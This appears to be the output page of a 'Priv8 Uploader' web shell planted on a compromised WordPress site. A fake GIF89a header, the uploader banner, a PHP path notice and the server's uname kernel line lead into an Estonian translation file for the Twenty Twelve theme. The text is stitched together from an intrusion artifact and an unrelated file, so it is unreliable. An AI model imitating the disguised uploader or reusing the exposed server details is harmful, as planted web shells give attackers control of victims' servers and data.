GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3
Priv8 Uploader By InMyMine7
Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
# Translation of Twenty Twelve in Estonian # This file is distributed under the same license as the Twenty Twelve package. msgid "" msgstr "" "PO-Revision-Date: 2014-09-04 08:21:10+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/0.1\n" "Project-Id-Version: Twenty Twelve\n" #. Theme URI of the plugin/theme msgid "http://wordpress.org/themes/twentytwelve" msgstr "http://wordpress.org/themes/twentytwelve" #: functions.php:349 msgid "Reply" msgstr "Vasta" #: image.php:26 msgid "<span class=\"meta-prep meta-prep-entry-date\">Published </span> <span class=\"entry-date\"><time class=\"entry-date\" datetime=\"%1$s\">%2$s</time></span> at <a href=\"%3$s\" title=\"Link to full-size image\">%4$s × %5$s</a> in <a href=\"%6$s\" title=\"Return to %7$s\" rel=\"gallery\">%8$s</a>." msgstr "<span class=\"meta-prep meta-prep-entry-date\">Avaldatud </span> <span class=\"entry-date\"><time class=\"entry-date\" datetime=\"%1$s\">%2$s</time></span> <a href=\"%3$s\" title=\"Link to full-size image\">%4$s × %5$s</a> <a href=\"%6$s\" title=\"Tagasi %7$s\" rel=\"gallery\">%8$s</a> galeriis." #. Description of the plugin/theme msgid "The 2012 theme for WordPress is a fully responsive theme that looks great on any device. Features include a front page template with its own widgets, an optional display font, styling for post formats on both index and single views, and an optional no-sidebar page template. Make it yours with a custom menu, header image, and background." msgstr "Aasta 2012 WordPressi teema on <italic>responsive</italic> ja näeb hea välja igal seadmel. Võimaluste hulgast leiab esilehe põhja koos omade moodulitefa, valikulise fondi, postituse formaatide toe üksiku ja mitme postituse vaate jaoks ning küljepaanideta lehepõhja. Kohanda see endale sobivaks menüü, päisepildi ja taustaga." #. translators: If there are characters in your language that are not supported #. * by Open Sans, translate this to 'off'. Do not translate into your own #. language. #: functions.php:101 msgctxt "Open Sans font: on or off" msgid "on" msgstr "on" #. translators: To add an additional Open Sans character subset specific to #. your language, #. * translate this to 'greek', 'cyrillic' or 'vietnamese'. Do not translate #. into your own language. #: functions.php:107 msgctxt "Open Sans font: add new subset (greek, cyrillic, vietnamese)" msgid "no-subset" msgstr "no-subset" #: functions.php:244 msgid "Appears on posts and pages except the optional Front Page template, which has its own widgets" msgstr "Kuvatakse postituste ja lehtede juures, aga mitte omade moodulialadega Esilehe põhjal" #: functions.php:252 msgid "First Front Page Widget Area" msgstr "Esimene Esilehe mooduli ala" #: functions.php:254 functions.php:264 msgid "Appears when using the optional Front Page template with a page set as Static Front Page" msgstr "Kuvatakse kui kasutad Esilehe põhja lehel mis on määratud staatiliseks esileheks" #: functions.php:262 msgid "Second Front Page Widget Area" msgstr "Teine Esilehe mooduli ala" #. Translators: 1 is category, 2 is tag, 3 is the date and 4 is the author's #. name. #: functions.php:390 msgid "This entry was posted in %1$s and tagged %2$s on %3$s<span class=\"by-author\"> by %4$s</span>." msgstr "See postitus avaldati %1$s kategoorias siltidega %2$s %3$s<span class=\"by-author\">, autoriks %4$s</span>." #: functions.php:392 msgid "This entry was posted in %1$s on %3$s<span class=\"by-author\"> by %4$s</span>." msgstr "See postitus avaldati %1$s kategoorias %3$s<span class=\"by-author\">, autoriks %4$s</span>." #: functions.php:394 msgid "This entry was posted on %3$s<span class=\"by-author\"> by %4$s</span>." msgstr "See postitus avaldati %3$s<span class=\"by-author\">, autoriks %4$s</span>." #: single.php:21 msgctxt "Previous post link" msgid "←" msgstr "←" #: single.php:22 msgctxt "Next post link" msgid "→" msgstr "→" #. Template Name of the plugin/theme msgid "Front Page Template" msgstr "Esilehe põhi" #. Template Name of the plugin/theme msgid "Full-width Page Template, No Sidebar" msgstr "Täislaiuses lehe põhi, küljepaanita" #: content.php:16 msgid "Featured post" msgstr "Esiletoodud postitus" #: functions.php:213 msgid "Page %s" msgstr "Leht %s" #: content-link.php:12 msgid "Link" msgstr "Viide" #: content-aside.php:23 content-image.php:23 content-link.php:21 #: content-quote.php:20 content-status.php:37 content.php:33 msgid "% Replies" msgstr "% vastust" #: content-aside.php:23 content-image.php:23 content-link.php:21 #: content-quote.php:20 content-status.php:37 content.php:33 msgid "1 Reply" msgstr "1 vastus" #: 404.php:21 msgid "It seems we can’t find what you’re looking for. Perhaps searching can help." msgstr "Tundub, et me ei leia, mida otsite. Võibolla otsingumootor aitab." #: content-none.php:17 index.php:53 msgid "Apologies, but no results were found. Perhaps searching will help find a related post." msgstr "Vabandust, aga me ei leidnud ühtki tulemust. Vahest aitab otsing leida seotud postituse?" #: functions.php:328 msgid "Post author" msgstr "Postituse autor" #: functions.php:313 msgid "(Edit)" msgstr "(Muuda)" #: header.php:43 msgid "Menu" msgstr "Menüü" #: header.php:44 msgid "Skip to content" msgstr "Liigu sisu juurde" #: index.php:38 msgid "No posts to display" msgstr "Postitusi pole" #: index.php:42 msgid "Ready to publish your first post? <a href=\"%s\">Get started here</a>." msgstr "Oled valmis avaldama oma esimest postitust? <a href=\"%s\">Alusta siit</a>." #: functions.php:384 msgid "View all posts by %s" msgstr "Vaata autori %s postitusi" #: image.php:41 msgid "← Previous" msgstr "← eelmine" #: image.php:42 msgid "Next →" msgstr "Järgmine →" #: search.php:18 msgid "Search Results for: %s" msgstr "Otsitulemused: %s" #: search.php:38 msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords." msgstr "Vabandust, aga su otsing ei andnud tulemusi. Proovi teisi otsisõnu." #: archive.php:35 msgid "Archives" msgstr "Arhiiv" #. Theme Name of the plugin/theme msgid "Twenty Twelve" msgstr "Twenty Twelve" #. Author of the plugin/theme msgid "the WordPress team" msgstr "WordPressi meeskond" #: functions.php:340 msgid "Your comment is awaiting moderation." msgstr "Sinu kommentaar ootab modereerimist." #. translators: 1: date, 2: time #: functions.php:334 msgid "%1$s at %2$s" msgstr "%1$s kell %2$s" #: content-aside.php:20 content-link.php:18 content-quote.php:17 #: content-status.php:15 msgid "Permalink to %s" msgstr "Püsiviide: %s" #: functions.php:242 msgid "Main Sidebar" msgstr "Peamine külgpaan" #: functions.php:286 single.php:20 msgid "Post navigation" msgstr "Postituste töölaud" #: functions.php:287 msgid "<span class=\"meta-nav\">←</span> Older posts" msgstr "<span class=\"meta-nav\">←</span> Vanemad postitused" #: functions.php:288 msgid "Newer posts <span class=\"meta-nav\">→</span>" msgstr "Uuemad postitused <span class=\"meta-nav\">→</span>" #: functions.php:313 msgid "Pingback:" msgstr "Pingback:" #: functions.php:64 msgid "Primary Menu" msgstr "Peamenüü" #: footer.php:16 msgid "Proudly powered by %s" msgstr "Kasutame %si" #: content-aside.php:26 content-image.php:26 content-link.php:24 #: content-page.php:24 content-quote.php:23 content-status.php:40 #: content.php:51 functions.php:345 image.php:37 msgid "Edit" msgstr "Muuda" #: comments.php:44 msgid "Newer Comments →" msgstr "Uuemad kommentaarid →" #: comments.php:53 msgid "Comments are closed." msgstr "Kommenteerimine on suletud." #: author.php:63 content.php:62 msgid "About %s" msgstr "%s: tutvustus" #: comments.php:31 msgid "One thought on “%2$s”" msgid_plural "%1$s thoughts on “%2$s”" msgstr[0] "Üks mõte “%2$s”" msgstr[1] "%1$s mõtet “%2$s”" #: archive.php:31 msgctxt "monthly archives date format" msgid "F Y" msgstr "F Y" #: archive.php:33 msgid "Yearly Archives: %s" msgstr "Arhiiv aastate lõikes: %s" #: archive.php:33 msgctxt "yearly archives date format" msgid "Y" msgstr "Y" #: tag.php:21 msgid "Tag Archives: %s" msgstr "Sildiarhiiv: %s" #: category.php:21 msgid "Category Archives: %s" msgstr "Rubriigiarhiiv: %s" #: archive.php:29 msgid "Daily Archives: %s" msgstr "Arhiiv kuupäevade lõikes: %" #: archive.php:31 msgid "Monthly Archives: %s" msgstr "Arhiiv kuude lõikes: %s" #: content-aside.php:15 content-image.php:13 content-link.php:14 #: content-quote.php:13 content-status.php:31 content.php:44 msgid "Continue reading <span class=\"meta-nav\">→</span>" msgstr "Jätka lugemist <span class=\"meta-nav\">→</span>" #: content-aside.php:23 content-image.php:23 content-link.php:21 #: content-quote.php:20 content-status.php:37 content.php:33 msgid "Leave a reply" msgstr "Lisa kommentaar" #. #-#-#-#-# twentytwelve.pot (Twenty Twelve 1.5) #-#-#-#-# #. Author URI of the plugin/theme #: footer.php:16 msgid "http://wordpress.org/" msgstr "http://wordpress.org/" #: footer.php:16 msgid "Semantic Personal Publishing Platform" msgstr "Semantiline avaldamisplatvorm" #: content-none.php:13 index.php:49 search.php:34 msgid "Nothing Found" msgstr "Midagi ei leitud" #: author.php:32 msgid "Author Archives: %s" msgstr "Autoriarhiiv: %s" #: comments.php:42 msgid "Comment navigation" msgstr "Kommentaaride töölaud" #: comments.php:43 msgid "← Older Comments" msgstr "← Vanemad kommentaarid" #. Translators: used between list items, there is a space after the comma. #: functions.php:370 functions.php:373 msgid ", " msgstr ", " #: content-page.php:21 content.php:45 image.php:102 msgid "Pages:" msgstr "Lehed:" #: content.php:66 msgid "View all posts by %s <span class=\"meta-nav\">→</span>" msgstr "Vaata postitusi (sorteeritud: %s) <span class=\"meta-nav\">→</span>" #: 404.php:17 msgid "This is somewhat embarrassing, isn’t it?" msgstr "See on mõnevõrra piinlik, kas pole?"